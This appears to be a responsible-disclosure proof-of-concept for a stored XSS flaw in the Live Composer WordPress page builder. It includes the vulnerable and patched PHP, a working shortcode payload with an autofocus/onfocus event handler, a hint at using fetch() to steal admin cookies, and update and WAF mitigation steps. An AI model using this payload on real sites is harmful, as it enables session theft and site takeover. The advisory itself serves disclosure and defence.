
PoC: CVE-2026-119073 - Live Composer Page Builder < 2.1.23 Contributor+ Stored XSS via Post Pagination Module
Responsible Disclosure — This PoC is published after the vendor patch was released (v2.1.23) and the CVE was officially published on November 5, 2026. All information here is for educational and defensive purposes only.
| Field | Detail |
|---|---|
| CVE ID | CVE-2026-119073 |
| Plugin | Live Composer Page Builder |
| Affected | ≤ 2.1.20 (all versions before 2.1.23) |
| Patched In | 2.1.23 |
| Type | Stored Cross-Site Scripting (XSS) |
| CWE | CWE-79 — Improper Neutralization of Input During Web Page Generation |
| CVSS v3.1 | 6.4 Medium (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) |
| Required Role | Contributor+ |
| Published | November 5, 2026 |
| CNA | WPScan |
| Researcher | Ganjikunta Venkata Shashank ([email protected]) |
Live Composer Page Builder is a WordPress drag-and-drop page builder plugin with 50,000+ active installations.
The plugin fails to properly sanitize and escape the pagination type parameter passed to the dslc_post_pagination() function inside the [dslc_module_posts_output] shortcode. A user with Contributor-level access (or higher) can craft a malicious shortcode payload that injects arbitrary JavaScript into the HTML attribute context of the rendered pagination widget.
The injected script executes in the browser of any visitor (or administrator) who views the post/page containing the malicious shortcode — a classic Stored XSS attack.
Vulnerable File: includes/display-functions.php
Vulnerable Function: dslc_post_pagination()
// VULNERABLE CODE (before v2.1.23)
function dslc_post_pagination( $atts ) {
// ...
$type = $atts['pagination_type']; // ← User-controlled, NO sanitization
// ...
echo '<div class="dslca-post-pagination dslca-post-pagination-' . $type . '">';
// ^^^^^ SINK: unescaped echo in attribute context
// ...
echo '<a href="' . $prev_url . '">' . $atts['pagination_text'] . '</a>';
// ^^^^^^^^^^^^^^^^^^^^^^^^ SINK: unescaped echo in link text context
}
Why wp_kses_post() and wptexturize() don't help here:
pagination_type field is extracted from a JSON string, so HTML-entity filters operating on the outer shortcode content do not inspect or sanitize JSON object values.< and > characters are not needed — the attack uses only quotes (") and event handler attributes (onfocus, autofocus), which pass through unfiltered.Fix applied in v2.1.23:
// PATCHED CODE (v2.1.23+)
$type = sanitize_html_class( $atts['pagination_type'] ); // whitelist: only valid CSS class chars
echo '<div class="dslca-post-pagination dslca-post-pagination-' . esc_attr( $type ) . '">';
echo '<a href="' . esc_url( $prev_url ) . '">' . esc_html( $atts['pagination_text'] ) . '</a>';
⚠️ Test only on systems you own or have explicit written authorization to test.
Log in to the WordPress admin panel as a Contributor.
Create or edit a post using the Live Composer editor.
Insert the following raw shortcode into the post body (via Text/HTML mode):
[dslc_module_posts_output]{"post_type":"post","amount":"1","pagination_type":"numbered\" autofocus=\"\" tabindex=\"0\" onfocus=\"alert(document.domain)\" x=\"","excerpt_length":12,"pagination_text":"Click"}[/dslc_module_posts_output]
Publish or save the post.
Visit the published post URL in any browser (or have an Administrator open it).
A JavaScript alert() dialog appears displaying the current domain name immediately on page load — triggered by the autofocus + onfocus event handler injected into the pagination <div> class attribute.
The rendered HTML output looks like:
<div class="dslca-post-pagination dslca-post-pagination-numbered" autofocus="" tabindex="0" onfocus="alert(document.domain)" x="">
In v2.1.23+, sanitize_html_class() strips all characters outside [A-Za-z0-9_-], so the payload is neutralized. The class attribute renders as plain text without any injected attributes.
alert(document.domain) with fetch() calls to exfiltrate WordPress admin session cookies (if HttpOnly is not set) or nonces.| Date | Event |
|---|---|
| Oct 2026 | Vulnerability discovered by researcher |
| Oct 2026 | Responsible disclosure submitted to WPScan CNA |
| Oct–Nov 2026 | WPScan triages and notifies vendor |
| Nov 2026 | Vendor releases patch in Live Composer v2.1.23 |
| Nov 5, 2026 | CVE-2026-119073 officially published by WPScan CNA |
| Nov 2026 | Public disclosure (this PoC) |
Update immediately:
WordPress Admin → Plugins → Live Composer Page Builder → Update to v2.1.23 or later
# WP-CLI (recommended for server administrators)
wp plugin update live-composer-page-builder --allow-root
If you cannot update immediately:
onfocus, autofocus, and other event handlers in POST bodies to WordPress endpointswp_posts table, post_content column